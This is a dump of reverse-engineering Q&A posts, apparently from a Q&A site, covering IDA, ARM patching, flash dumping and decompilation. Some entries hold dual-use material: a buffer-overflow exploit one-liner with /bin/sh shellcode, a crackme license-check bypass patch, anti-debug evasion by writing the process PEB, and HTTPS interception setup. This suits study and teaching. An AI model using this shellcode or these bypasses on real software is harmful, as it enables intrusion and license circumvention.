    \n" }, { "Id": "14525", "CreationDate": "2017-01-30T04:03:20.147", "Body": "

    After overwrite the EIP register, I try breakpoint on the function strcpy() and then run the program after a breakpoint in the debugger.

    \n\n

    Then I check the ESP register :

    \n\n
    (gdb) i r esp\nesp            0xbffff268   0xbffff268\n
    \n\n

    In 0xbffff268 I subtract address (say, 300) :

    \n\n

    0xbffff268 - 300 = 0xbffff13c

    \n\n

    In the form of little endian = \\x3c\\xf1\\xff\\xbf

    \n\n

    After the address in the calculations, the address will be used in nopsled I created

    \n\n

    NOPSLED + SHELLCODE + ESP

    \n\n

    so my exploit is :

    \n\n
    `perl -e 'print \"\\x90\" x 200 . \"\\xb0\\x17\\x31\\xdb\\xcd\\x80\\xb0\\x0b\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\" . \"\\x3c\\xf1\\xff\\xbf\" x 45'`\n
    \n\n

    When executed using the debugger and then typing c in the debugger, I get Segmentation fault (core dumped) at the address ESP register.

    \n\n

    Why my exploit doesn't work ?

    \n", "Title": "My nopsled getting Segmentation fault (core dumped)", "Tags": "|x86|linux|exploit|buffer-overflow|shellcode|", "Answer": "

    Stack growing downwards try adding that value, make sure your payload in a executable area and your calculations right (which we don't know how you do it). Buffer overflow doesn't mean unlimited unfragmented override, check your payload's integrity. If you can share your code we can examine and understand your problem better.

    \n" }, { "Id": "14534", "CreationDate": "2017-01-31T10:29:55.000", "Body": "

    I have disassembled two armv7 files in IDA. I am trying to figure out how I can create a patch to change one to another.

    \n\n

    The original file has:

    \n\n
    __text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j\n__text:00017B60                                     ; sub_17384+636j\n__text:00017B60                 MOV             R0, #(aImageCheck - 0x17B6C) ;\n__text:00017B68                 ADD             R0, PC  ;\n__text:00017B6A                 BLX             _warnx\n__text:00017B6E                 MOV.W           R11, #0x50\n__text:00017B72                 B               loc_17956\n
    \n\n

    The modified files has:

    \n\n
    __text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j\n__text:00017B60                                     ; sub_17384+636j\n__text:00017B60                 B               loc_17B16\n__text:00017B60 ; End of function sub_17384\n__text:00017B60\n__text:00017B62 ; ---------------------------------------------------------------------------\n__text:00017B62                 STR             R1, [R1,#0xC]\n__text:00017B64                 MOVT.W          R0, #0\n__text:00017B68                 ADD             R0, PC  ;\n__text:00017B6A                 BLX             _warnx\n__text:00017B6E                 MOV.W           R11, #0x50\n__text:00017B72                 B               loc_17956\n
    \n\n

    In essence, we're forcing a branch to another address, instead of continuing.

    \n\n

    In IDA, when I go to the byte patch menu, I get the following for the MOV I want to change:

    \n\n
    4D F6 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0\n
    \n\n

    In the patched file, I get the following for the new Branch:

    \n\n
    D9 E7 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0\n
    \n\n

    The difference between both is the beginning: D9 E7. Does this mean D9 is the Branch, and E7 is the loc_17B16? How would you translate loc_17B16 to the byte value?

    \n\n

    Any insight would be appreciated.

    \n", "Title": "How to patch file by adding a branch instruction to another address in arm", "Tags": "|ida|disassembly|arm|patching|bin-diffing|", "Answer": "

    I finally figure this out and it's almost cheating. I have searched internet and found a branch calculator application that will determine what the new bytes will be after you enter current and next instruction. After that, I just enter new bytes in IDA and branch is done.

    \n" }, { "Id": "14538", "CreationDate": "2017-01-31T15:23:15.717", "Body": "

    I'm planning on dumping and reading the flash memory of a Winbond W25Q128FV chip. I've done some research and plan on buying the following tools to achieve this:

    \n\n\n\n

    I already have a soldering kit. Are these the right tools and are they sufficient to read the flash memory to my computer?

    \n\n

    Also, I already have an Arduino Uno and a Raspberry Pi. Can either of those be used in place of a Bus Pirate?

    \n", "Title": "Dumping Flash Memory Using Bus Pirate", "Tags": "|dumping|flash|", "Answer": "

    Sounds like you're good to go. Yes the Raspberry has a SPI interface so you can connect the Winbond to it and use the \"flashrom\" to dump it. Attach the SOIC clip to the chip and connect the pins to the Raspberry Pi respective pins:\nMISO\nMOSI\nChip Select\nClock\nGround\nAlso the appropriate voltage Vcc 3.3 or 5. Pi can provide both .

    \n" }, { "Id": "14543", "CreationDate": "2017-02-01T17:44:24.757", "Body": "

    I'm trying to wire a Winbond W25Q128FV to my Rasberry Pi Model 1B so that I can dump the firmware. I'll be using an SOIC8 clip and probe cables.

    \n\n

    Here is what I'm thinking:

    \n\n

    Flash ----- rPi

    \n\n

    CS ----- CS0

    \n\n

    DO ----- MISO

    \n\n

    WP ----- ??

    \n\n

    GND ----- GND

    \n\n

    VCC ----- 3V3

    \n\n

    HOLD ----- ??

    \n\n

    CLK ----- SCLK

    \n\n

    DI ----- MOSI

    \n\n

    I've read that WP and HOLD/RESET should also be connected to 3V3, but there's only 2 3V3 pins on my pi?

    \n", "Title": "Wiring Flash Chip to Raspberry Pi", "Tags": "|firmware|memory|flash|memory-dump|", "Answer": "

    You don't need to use WP and HOLD at all. It will work without.\nYou can try without first. Is write protect enabled?

    \n" }, { "Id": "14547", "CreationDate": "2017-02-01T21:14:02.627", "Body": "

    Any idea how to reverse obfuscated java code !?

    \n", "Title": "Reverse-obfuscated Java code", "Tags": "|java|decompiler|jar|", "Answer": "

    Decompilation is useful for reverse engineering, but in most cases, you won't be able to recompile the results, because compilation and decompilation are lossy processes and obfuscation exacerbates that.

    \n\n

    If you understand Java bytecode, a good way to edit JARs is to use a bytecode assembler/disassembler such as Krakatau. Since this operates directly at the level of compiled bytecode, you can edit any Java classfiles, no matter how obfuscated, and you don't have to worry about compiler errors.

    \n" }, { "Id": "14549", "CreationDate": "2017-02-01T22:22:20.000", "Body": "

    This windows application checks the available disk space when an attempt is made to enable a feature.

    \n\n

    The error message can be translated into \"You need 2145461018 more bytes to load this tileset.

    \n\n

    Choosing other tilesets might even yield a message claiming that a negative amount of bytes is needed. This could indicate a buffer overflow. Notice the window title \"Error space on disk\".

    \n\n

    I would like to disable that memory check using the simplest method possible, but I am willing to disassemble it despite having next to zero knowledge which winapi calls are using to check the free disk space. I am grateful for any hint!

    \n\n

    I already tried the compatibility options on the shortcut properties, which didn't help.

    \n\n

    The error can also be reproduced in a vm guest with windows.

    \n\n

    PE Explorer shows this is a WIN32 GUI app with a subsystem version 3.10

    \n\n

    \"application

    \n", "Title": "How to bypass this old windows application's free disk space check?", "Tags": "|windows|winapi|", "Answer": "

    Apparently creating a ramdisk was enough to fool the application. I used the tool ImDisk and mounted a 50MB disk on which I installed the application.

    \n" }, { "Id": "14551", "CreationDate": "2017-02-02T07:16:41.127", "Body": "

    I'm trying to learn Reverse Engineering, at this time I compile C++ code without any optimization and see the correspond assembly in IDA's disassembler, but there are some parts of the code, where I can not guess what happens.\nThere are some questions in the Assembly code below.

    \n\n

    C++ code:

    \n\n
    #include <stdio.h>\n#include <string>\n\nvoid fillarray(int is[11], int size)\n{\n    for (int i = 0; i < size; ++i)\n    {\n        is[i] = i;\n    }\n}\n\nint main()\n{\n    char* chr = \"First\";\n    std::string m = \"Secdond\";\n\n    static int arr[11];\n\n    std::string m1 = \"Third\";\n\n    auto size = sizeof(arr) / sizeof(arr[0]);\n\n    fillarray(arr, size);\n\n    int num = 11;\n\n    printf_s(\"%d\", num);\n\n\n    getchar();\n\n    return 0;\n}\n
    \n\n

    The main function in IDA:

    \n\n
    .text:00401E20\n.text:00401E20\n.text:00401E20 ; Attributes: bp-based frame\n.text:00401E20\n.text:00401E20 ; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401E20 main proc near\n.text:00401E20\n.text:00401E20 First_via_char= dword ptr -50h\n.text:00401E20 var_4C= dword ptr -4Ch\n.text:00401E20 var_eleven= dword ptr -48h\n.text:00401E20 size= dword ptr -44h\n.text:00401E20 Second_via_str= byte ptr -40h\n.text:00401E20 Third_via_str= byte ptr -28h\n.text:00401E20 CANARY= dword ptr -10h\n.text:00401E20 var_C= dword ptr -0Ch\n.text:00401E20 var_4= dword ptr -4\n.text:00401E20 argc= dword ptr  8\n.text:00401E20 argv= dword ptr  0Ch\n.text:00401E20 envp= dword ptr  10h\n.text:00401E20\n.text:00401E20 push    ebp\n.text:00401E21 mov     ebp, esp\n.text:00401E23 push    0FFFFFFFFh\n.text:00401E25 push    offset sub_402D20\n.text:00401E2A mov     eax, large fs:0         // what is this? I know that fs:0 is to access PEB, but why this code uses this? \n.text:00401E30 push    eax\n.text:00401E31 sub     esp, 44h\n.text:00401E34 mov     eax, ___security_cookie\n.text:00401E39 xor     eax, ebp\n.text:00401E3B mov     [ebp+CANARY], eax       // I thinks it's CANARY\n.text:00401E3E push    eax\n.text:00401E3F lea     eax, [ebp+var_C]       // what is var_C for?\n.text:00401E42 mov     large fs:0, eax        // At this moment, var_C is uninitialized. How and why programm need this?\n.text:00401E48 mov     [ebp+First_via_char], offset aFirst ; \"First\"\n.text:00401E4F push    offset aSecdond ; \"Secdond\"\n.text:00401E54 lea     ecx, [ebp+Second_via_str]\n.text:00401E57 call    basic_string\n.text:00401E5C mov     [ebp+var_4], 0\n.text:00401E63 push    offset aThird   ; \"Third\"\n.text:00401E68 lea     ecx, [ebp+Third_via_str]\n.text:00401E6B call    basic_string\n.text:00401E70 mov     byte ptr [ebp+var_4], 1      // what is var_4?\n.text:00401E74 mov     [ebp+size], 0Bh\n.text:00401E7B mov     eax, [ebp+size]\n.text:00401E7E push    eax\n.text:00401E7F push    offset unk_404098 ; address of arrary\n.text:00401E84 call    fill_array_function\n.text:00401E89 add     esp, 8\n.text:00401E8C mov     [ebp+var_eleven], 0Bh\n.text:00401E93 mov     ecx, [ebp+var_eleven]\n.text:00401E96 push    ecx\n.text:00401E97 push    offset aD       ; \"%d\"\n.text:00401E9C call    printf\n.text:00401EA1 add     esp, 8\n.text:00401EA4 call    ds:getchar\n.text:00401EAA mov     [ebp+var_4C], 0\n.text:00401EB1 mov     byte ptr [ebp+var_4], 0\n.text:00401EB5 lea     ecx, [ebp+Third_via_str]\n.text:00401EB8 call    sub_401270                    // What is this? I think it's destructor, but I'm not sure.\n.text:00401EBD mov     [ebp+var_4], 0FFFFFFFFh\n.text:00401EC4 lea     ecx, [ebp+Second_via_str]\n.text:00401EC7 call    sub_401270                    // Destructor?\n.text:00401ECC mov     eax, [ebp+var_4C]             // what is var_4C?\n.text:00401ECF mov     ecx, [ebp+var_C]              // var_C?\n.text:00401ED2 mov     large fs:0, ecx\n.text:00401ED9 pop     ecx\n.text:00401EDA mov     ecx, [ebp+CANARY]\n.text:00401EDD xor     ecx, ebp\n.text:00401EDF call    sub_401F68\n.text:00401EE4 mov     esp, ebp\n.text:00401EE6 pop     ebp\n.text:00401EE7 retn\n.text:00401EE7 main endp\n.text:004\n
    \n", "Title": "Assembly and C++", "Tags": "|disassembly|assembly|c++|c|patch-reversing|", "Answer": "

    The parts you've commented are mostly related to exception handling. The compiler has to guard for possible exceptions which may happen at any time, even if your program does not explicitly use exceptions. In particular, var_4 is the so-called \"trylevel\" of the current execution point and var_C is the exception registration record for the SEH mechanism. CANARY is indeed the stack overflow protection canary (\"cookie\" in MSVC terminology).

    \n\n

    You can find more details in my OpenRCE article on the topic.

    \n\n

    P.S. var_4C is just a temporary variable used to store the return value of the function (0). It is saved because the destruction of the strings has to happen after the return statement but before the actual return from the function.

    \n" }, { "Id": "14553", "CreationDate": "2017-02-02T10:10:42.270", "Body": "

    I've been disassembling an MS-DOS EXE and I've been using this link http://www.delorie.com/djgpp/doc/exe/ to make heads and tails of the binary.

    \n\n

    The header seems to be an older version compared to the headers that precede the PE segment found in today's modern Windows executables.

    \n\n

    I've been using nasm's (Disassembler), but the program is not as complex as IDA Pro. Finding it hard to find main function entry point, especially with the disassembler engine working on an offset based logic to determine the decoding per instruction and due to the nature I'm also not familiar with the standard.

    \n\n

    I'm assuming the IP field in the MS-DOS could be the main function entry point of the executable and was hoping someone or somebody could confirm my speculations.

    \n", "Title": "Disassembling an MS-DOS EXE", "Tags": "|disassembly|x86|executable|dos-exe|", "Answer": "

    The header IP of MSEXE file compiled by C/C++ point to the language runtime initial code that will call main function later. So if you wanna find out the main, you need trace it or read the crt code in clib or src file.

    \n" }, { "Id": "14559", "CreationDate": "2017-02-02T18:36:52.810", "Body": "

    Sorry, I'm quite new to assembly, and I'm trying to make the code bellow return true:

    \n\n
    .text:1000E3E0 ; =============== S U B R O U T I N E =======================================\n.text:1000E3E0\n.text:1000E3E0\n.text:1000E3E0 ; bool __thiscall LicenseChecker::LicenseCheckerPlugin::hasValidLicense(LicenseChecker::LicenseCheckerPlugin *__hidden this)\n.text:1000E3E0                 public ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ\n.text:1000E3E0 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ proc near\n.text:1000E3E0                                         ; DATA XREF: .rdata:off_10024D68o\n.text:1000E3E0                 mov     eax, [ecx+0Ch]\n.text:1000E3E3                 mov     al, [eax+20h]\n.text:1000E3E6                 retn\n.text:1000E3E6 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ endp\n.text:1000E3E6\n.text:1000E3E6 ; ---------------------------------------------------------------------------\n
    \n\n

    On a \"crackme\". I heard somewhere that 1 returns true, but no idea on how to do it.\nI searched the web, but I simply couldn't understand what to do. I'm used to high-level programming languages, so assembly confuses me a lot.\nSorry for asking for such a simple thing.

    \n", "Title": "Make this function return true", "Tags": "|ida|disassembly|assembly|patching|", "Answer": "
    mov al, 0x1\ntest al, al\nret\n
    \n

    In binary: B0 01 84 C0 C3

    \n

    Set al to 1, then AND with itself. The result is always 1, so ZF is always zero. Quite trivial, but gets the job done. Patch at the beginning so you don't have to fill leftover bytes with nop instructions.

    \n" }, { "Id": "14569", "CreationDate": "2017-02-04T18:06:43.510", "Body": "

    IDA Pro 6.95. From the menu I can use Edit... Export data... C unsigned char array (hex).

    \n\n

    I want to do this in a Python script without rewriting what already works.

    \n\n

    I have looked for a way to find a list of the commands I have performed through the GUI menus, but export data is not the sort of thing that appears in an IDC file.

    \n", "Title": "IDA Pro Export C style array using Python instead of GUI menu", "Tags": "|ida|idapython|array|", "Answer": "

    Because this is a relatively basic functionality, there's not builtin way to call that command from IDAPython. You could do some Qt trickery to fake that GUI menu being clicked by the user, but that seems too much effort.

    \n\n

    To me it seems as if the easiest and cleanest solution here is to simply call idaapi.get_many_bytes to get the buffer of data you're interesting in dumping, and then format it however you'd like.

    \n\n

    for example, the following code snippet will output the binary data as a hexadecimal string:

    \n\n
    buf = idaapi.get_many_bytes(start, end)\nbuf.encode('hex')\n
    \n\n

    Or to get a c-like array:

    \n\n
    buf = idaapi.get_many_bytes(start, end)\nbuf = buf.encode('hex')\ntwo_hex_char_seq = map(operator.add, buf[::2], buf[1::2])\nc_array = \"{0x\" + \", 0x\".join(two_hex_char_seq) + \"}\"\n
    \n\n

    Which will give an output similar to:

    \n\n
    {0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30}\n
    \n" }, { "Id": "14572", "CreationDate": "2017-02-04T23:03:44.380", "Body": "

    I want to sniff and decrypt HTTPS traffic of apps that ignore system proxy setting on macOS. If I understand correctly, common tools like Charles cannot help. How could I achieve that?

    \n", "Title": "How to sniff HTTPS traffic of apps that ignore system proxy setting?", "Tags": "|sniffing|https-protocol|", "Answer": "

    Get mitmproxy running. Set up that as the proxy for HTTP and HTTPS. Then load a web browser and to go http://mitm.it and download the newly generated certificate. Double click the file you just downloaded. Then within Keychains you'll want to tell the system to trust that cert (\"always trust\"). \nThen what I typically do is set the Router to the IP of the host running mitmproxy. Run mitmproxy with the transparent settings (-T) I believe.

    \n" }, { "Id": "14574", "CreationDate": "2017-02-05T12:44:18.027", "Body": "

    I want to modify my ZyXEL P-2812HNU-F1 dsl router by storing some extra files in /etc. However, /etc is mounted as tmpfs so changes are lost on reboot. But there's probably a way around it ;)

    \n\n
    # cat /proc/mounts \nrootfs / rootfs rw 0 0\n/dev/root / yaffs2 ro,relatime 0 0\ntmpfs /etc tmpfs rw,relatime 0 0\n[..snip..]\n/dev/mtdblock4 /mnt/Config yaffs2 rw,relatime 0 0\n/dev/mtdblock3 /mnt/firmware yaffs2 rw,relatime 0 0\n\n# touch /am-i-really-mounted-rw\ntouch: /am-i-really-mounted-rw: Read-only file system\n\n# cat /proc/mtd \ndev:    size   erasesize  name\nmtd0: 01e00000 00020000 \"rootfs,kernel1\"\nmtd1: 01e00000 00020000 \"rootfs,kernel2\"\nmtd2: 00ac0000 00020000 \"reserve\"\nmtd3: 02cc0000 00020000 \"firmware\"\nmtd4: 00aa0000 00020000 \"config\"\nmtd5: 00040000 00020000 \"mrd_cert1\"\nmtd6: 00040000 00020000 \"mrd_cert2\"\n\n# cat /proc/cmdline \nroot=/dev/mtdblock0 rootfstype=yaffs2 console=ttyS0,115200 phym=128M mem=126M panic=1 vpe1_load_addr=0x87e00000M vpe1_mem=2M vpe1_wired_tlb_entries=0 \n\n# uname -a\nLinux router 2.6.32.42 #25 Mon Oct 5 14:41:26 CST 2015 mips unknown\n
    \n\n

    So,

    \n\n
      \n
    1. Why is / mounted rw but actually read-only?
      2. \n
    2. Why are there two rootfs/kernel partitions? So the router can flash itself while running and then switch to the other upon boot?
      3. \n
    3. Can I safely copy the running kernel/rootfs to the other mtdblock by using dd?
      4. \n
    4. How do I boot from the other mtblock? I got a USB FTDI cable already.
      5. \n
    5. Or, is there another way to write persistent files to /etc here?
      6. \n
    \n", "Title": "How to store files on a router's NAND without writing the whole firmware", "Tags": "|firmware|linux|", "Answer": "

    Alright, so thanks to Arkadiusz' comment, I figured out that all I had to do was mount /dev/root / -o remount,rw -t yaffs2 and presto, writable root!

    \n" }, { "Id": "14576", "CreationDate": "2017-02-05T19:59:17.900", "Body": "

    I saw a very similar question about this on macOS just 20hrs ago but I'm always needing to do this on Android and I keep forgetting the name of the app. So this is just for reference.

    \n", "Title": "How to sniff HTTPS traffic of Android apps that ignore the system proxy setting?", "Tags": "|android|sniffing|https-protocol|", "Answer": "

    Drony

    \n\n

    Acts as a local VPN and redirects all traffic to a HTTP proxy. Its meant to be used with Orbot (TOR for Android) but can just as easily be used for this purpose using something like Fiddler to act as proxy server.

    \n\n

    Android App Store

    \n" }, { "Id": "14581", "CreationDate": "2017-02-06T12:44:05.700", "Body": "

    I'm trying to decompile an unknown Win32 executable using ILSpy. However, it only answers by giving me the useless message: \nThis file does not contain a managed assembly.

    \n\n

    I have also tried to use other tools like dotPeek64 and Teleirik without success. Virustotal tell me that it is using:

    \n\n
    [+] COMCTL32.dll\n[+] ComMgr.dll\n[+] KERNEL32.dll\n[+] MSVCP90.dll\n[+] MSVCR90.dll\n[+] OLEAUT32.dll\n[+] SHLWAPI.dll\n[+] USER32.dll\n[+] mfc90.dll\n
    \n\n

    I'm pretty sure it is made with .NET, since this XML is present in the code:

    \n\n\n\n
    <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n    <security>\n      <requestedPrivileges>\n        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n      </requestedPrivileges>\n    </security>\n  </trustInfo>\n  <dependency>\n    <dependentAssembly>\n      <assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"removed\"></assemblyIdentity>\n    </dependentAssembly>\n  </dependency>\n  <dependency>\n    <dependentAssembly>\n      <assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.MFC\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"removed\"></assemblyIdentity>\n    </dependentAssembly>\n  </dependency>\n</assembly>\n
    \n\n

    Also note that I'm using Win8 and do not have VS installed. So my questions are:

    \n\n
      \n
    1. What do I need to do to resolve the above error?
      2. \n
    2. What am I missing if anything?
      3. \n
    3. How can I check if I have those *.dll's listed?
      4. \n
    \n\n

    EDIT: I'm now thinking it was made with plain C++...

    \n", "Title": "What to do with ILSpy error \"This file does not contain a managed assembly\"?", "Tags": "|windows|decompilation|.net|", "Answer": "

    This looks like a Win32 executable, .NET executables typically imports _CorExeMain from mscoree.dll. You can use an identification tool like PEiD or Detect It Easy to confirm it.

    \n" }, { "Id": "14594", "CreationDate": "2017-02-07T16:17:58.573", "Body": "

    I find myself playing in strange territory lately, venturing far outside my comfort zone to test some theories. At present I want to return True every time a specific program calls IsDebuggerPresent, without actually debugging the program.

    \n\n

    Since I'm not a software developer, I'd really rather avoid writing code to do API hooking. My next thought was to use a modified kernel32.dll in the same directory as the program, counting on \"DLL Load Order Hijacking\". So... I modified a copy of the dll, essentially replacing the export for IsDebuggerPresent with mov eax, 1

    \n\n

    If I open the DLL in IDA and examine the export, it shows exactly the code I patched in, but if I run the executable, when it makes the call to IsDebuggerPresent the same address I modified instead shows a JMP to the proper IsDebuggerPresent instructions.

    \n\n

    Is what I'm trying to do even feasible, or do I have to do API hooking to make it work? I'm Really looking for a simple POC, so again, I'd prefer not to have to figure out a metric buttload of C++ just to test a theory.

    \n", "Title": "Modifying Windows DLLs", "Tags": "|c++|dll|function-hooking|", "Answer": "

    You could attempt the indirect route instead. IsDebuggerPresent() merely checks the respective field in the Process Environment Block (PEB) to find out whether a process is being debugged.

    \n

    So instead of modifying a single function from a particular DLL to return the result, you could manipulate the source used by said function to retrieve its result (yes, there are other functions that consult this very data field).

    \n

    Looking at a recent version of kernelbase.dll (10.0.19041.804) we find via IDA:

    \n
    IsDebuggerPresent proc near\n                mov     rax, gs:60h\n                movzx   eax, byte ptr [rax+2]\n                retn\nIsDebuggerPresent endp\n
    \n

    ... which in its annotated form would be something like:

    \n
    IsDebuggerPresent proc near\n                mov     rax, gs:60h     ; address to PEB\n                movzx   eax, [rax+PEB.BeingDebugged]\n                retn\nIsDebuggerPresent endp\n
    \n

    ... and as pseudo-code:

    \n
    BOOL __stdcall IsDebuggerPresent()\n{\n  return NtCurrentPeb()->BeingDebugged;\n}\n
    \n

    Simply modifying the "remote" PEB would be one way of achieving what you want.

    \n

    In order to retrieve the "remote" PEB you can use

    \n

    PROCESS_BASIC_INFORMATION::PebBaseAddress (enum member ProcessBasicInformation) via NtQueryInformationProcess() whose declarations you should also be able to glean from the winternl.h header which is part of modern Windows SDKs. Then the usual WriteProcessMemory() method should work to set this value in the remote process.

    \n

    You could also try a typical DLL placement attack on some dependency of your target program (e.g. version.dll which isn't a known DLL) and have that loaded DLL do the manipulation of the PEB for you from within the remote process.

    \n
    \n

    And always keep in mind that in order to do effective reverse engineering, you should first have a firm grasp of forward engineering

    \n" }, { "Id": "14597", "CreationDate": "2017-02-07T21:07:14.007", "Body": "

    I am quite new to retro-reverse-engineering, and I am concerned about my current hobby.

    \n\n

    Months ago I started to reverse a 19 year old commercial game, no longer on sale (for ages), and not supported (the company has been taken over a decade ago).

    \n\n

    The purpose of my work is not to share the reversed code (as I don't produce code but analyse the existing one) but rather to create a small tool to patch the game.

    \n\n

    This patcher would not remove the original CD protection, it would only enable modification of features and behavior of the game. On top of that, I am considering sharing the code of this patcher on a public repository on GitHub.

    \n\n

    But as I am approaching the end of my work, I am becoming concerned about the legal implications, because it is clearly illegal to modify an .exe when it is proprietary material. On the other hand I saw a lot of equivalent stuff for old games, and as far I know, their creator were not sued.

    \n\n

    My question is: in your opinion, is it risky to complete my patcher, and on top of that, to share its code?

    \n", "Title": "Legal risks of retro engineering a 19 years old game", "Tags": "|disassembly|assembly|decompilation|", "Answer": "

    Disclaimer: IANAL; Best answer would be from a local lawyer with expertise in computer copyrights and laws at the location the owning company is at. If you'll be sued, it'll probably be in a court of their choosing as this is often part of the EULA.

    \n\n

    However, one distinction I see here is that you don't modify the executable provided as part of the game, you only create a tool that does that. The actual person changing the game is the user of your tool. Abnother consideration though, is that most EULAs forbid reverse engineering, and you might be violating that.

    \n\n

    Anyway, this is how I see you approaching this concern:

    \n\n

    Approaching the rights owner

    \n\n

    A way to get an answer for this is by approaching the company (or whoever currently owns rights for the game) and request permission / announce you're about to do that.

    \n\n

    Consequences may vary:

    \n\n\n\n

    Hoping for the best

    \n\n

    If you choose not to approach the rights owner, you can infer potential reactions from past experiences (mostly of other's). Abandonware is indeed something quite common, and you can find games that are as far as fully emulated in web browsers. Investigating what other potential violations the same rights owner had in the past, and how it reacted. Finding other violations of the same game will also be good indicators.

    \n" }, { "Id": "14604", "CreationDate": "2017-02-09T05:18:47.407", "Body": "

    I have been doing pointer scans on a game when new versions come out as the structure changes to update memory structure offsets. I decided to attempt to use signature scanning to attempt to make my offsets more durable to changes.

    \n\n

    When pointer scanning in the current game version 0x1034EF8 is the offset I am trying to get. I attached a debugger and funtions that read from this address and came up with a pattern that is unique. When I do the pattern scan this pattern is found and returned as expected.

    \n\n

    Where I am stuck at is turning this assembly instruction memory address 461EE300 into this offset 0x1034EF8. Cheat engine is able to do such a thing so it must be possible, the following was copy and pasted from cheat engine and it is showing me game_x64.exe + 1034EF8 for the 461EE300 address.

    \n\n

    How can I go about turning 461EE300 into game_x64.exe + 1034EF8 and extracting 1034EF8?

    \n\n
    //90 - nop\n//48 83 43 50 F8 - add qword ptr[rbx + 50],-08\n//48 8B 0D 461EE300 - mov rcx,[game_x64.exe + 1034EF8]\n//4C 8B 05 471EE300 - mov r8,[game_x64.exe + 1034F00]\n//49 3B C8 - cmp rcx, r8\npublic static readonly Pattern MyPattern = new Pattern(new byte[]\n{\n0x90,\n0x48, 0x83, 0x43, 0x50, 0xF8,\n0x48, 0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00,\n0x4C, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,\n0x49, 0x3B, 0xC8\n}, \"xxxxxxxxx????xxx????xxx\");\n
    \n", "Title": "How to get pointer from byte code", "Tags": "|disassembly|assembly|pointer|", "Answer": "

    It's way simpler than you'd think.\n461EE300 is the relative offset to your variable. The relative offset needs to be added to the rip-register. And you already have the value of the rip-register. It's the address of the pattern you found.

    \n\n

    So simply add the address of your pattern with 461EE300 and you have your variable.

    \n" }, { "Id": "14607", "CreationDate": "2017-02-09T17:29:28.907", "Body": "

    Is it possible to replace a non-code section inside an ELF file? If so, then how? Is there something I would have to consider before simply replacing the bytes by some other bytes (of course nothing larger)? Maybe some hash or similar?

    \n\n

    Note that I'm not interested in modifying code, so the solutions presented in What are the available libraries to statically modify ELF executables? is not what I'm looking for, also many solutions there aren't architecture-agnostic.

    \n\n

    (BTW, I would require this for a replacing the initrd/initramfs file system embedded into a kernel image [vmlinux.64] which is also an ELF file, see https://unix.stackexchange.com/q/342298/117599. This question here is supposed to be more in general.)

    \n", "Title": "Replace section inside ELF file", "Tags": "|file-format|elf|section|", "Answer": "

    I'm not aware of any ready-made tools for such task, but I suspect in most cases the good old dd will do the task of replacing the actual bytes in the file (or maybe you can make objcopy work too). What can be more difficult is making the code work with the changed data. This depends on the nature of the data in question. For example:

    \n\n
      \n

    1. When replacing (patching) code (instructions), you need to be aware of possible relocations pointing into the address range you're replacing (if the file is relocatable). The loader will apply the relocations without checking that they make sense and that will likely make your code work incorrectly or crash. Same issue applies to data which may be relocated (e.g. tables of pointers).

      2. \n

    2. Even if the data you're replacing is not affected by the loader, it might be used in other ways. For your initrd example, the code in the kernel makes references to symbols like __initramfs_start, __initramfs_end, whose values may need to be updated to account for the new initrd size. How to do that depends on how the code is using those symbols: are they taken from the ELF symbol table or just embedded in the code (i.e. were resolved at link time)? In the latter case you'll need to find and patch those values in the binary, keeping in mind that they are probably virtual load-time addresses and not file offsets.

      3. \n

    3. In case the code is using the ELF sections, you will need to update the section headers to properly point to your data or adjust their size e(some hex editors allow you to edit fields of the ELF headers but in the worst case you'll need to do it manually by patching individual bytes).

      4. \n
    \n" }, { "Id": "14609", "CreationDate": "2017-02-09T18:13:26.110", "Body": "

    I have following code:

    \n\n
    sub rsp, 40                 ; 00000028H\nlea rcx, OFFSET FLAT:$SG4237\ncall    printf\nxor eax, eax\nadd rsp, 40                 ; 00000028H\nret 0\n
    \n\n

    Why there is xor eax, eax , instead of xor rax, rax?

    \n", "Title": "xor eax, eax in x64", "Tags": "|disassembly|assembly|x86-64|patch-reversing|", "Answer": "

    In x64, any operation on a 32-bit register clears the top 32 bits of the corresponding 64-bit register too, so there's no need to use xor rax, rax which would necessitate an extra REX byte for encoding.

    \n" }, { "Id": "14611", "CreationDate": "2017-02-10T00:35:29.507", "Body": "

    I am interested in starting to decode and understand some proprietary network traffic, sent from apps on various devices, such as my TV, game consoles, phones etc.

    \n\n

    Most of the things I want to look at, seems to be using UDP to send proprietary protocol traffic.

    \n\n

    I've spent some time in Wireshark analyzing traffic, and now the next stage is to attempt modifying messages and looking at results. This is where I have run into trouble.

    \n\n

    I attempted to use my Windows laptop as a MitM, bridging my 2 Ethernet connections (one to device and one to router). However, it seemed I was completely unable to spoof traffic from the device. Since UDP is very spoof able, I was not sure what is going wrong.

    \n\n

    What is the best way to do this, and is there a framework/toolkit in place to help facilitate this type of research?

    \n", "Title": "Getting started with reversing device network traffic", "Tags": "|networking|", "Answer": "

    As shown here you can use Scapy to capture and/or spoof packets, while you are doing that make sure you compute checksums right. You can use Wireshark to check headers. Most convenient way is capturing incoming traffic and changing data & checksum value.

    \n" }, { "Id": "14613", "CreationDate": "2017-02-10T07:48:37.263", "Body": "

    Is there a way to change hotkey for variable mapping ('=' by default)? For example: I'd like to bind it to 'Shift+Q'.

    \n", "Title": "Variable mapping in IDA hotkey change", "Tags": "|ida|ida-plugin|", "Answer": "

    please have a look at the second part of this blog post.

    \n\n

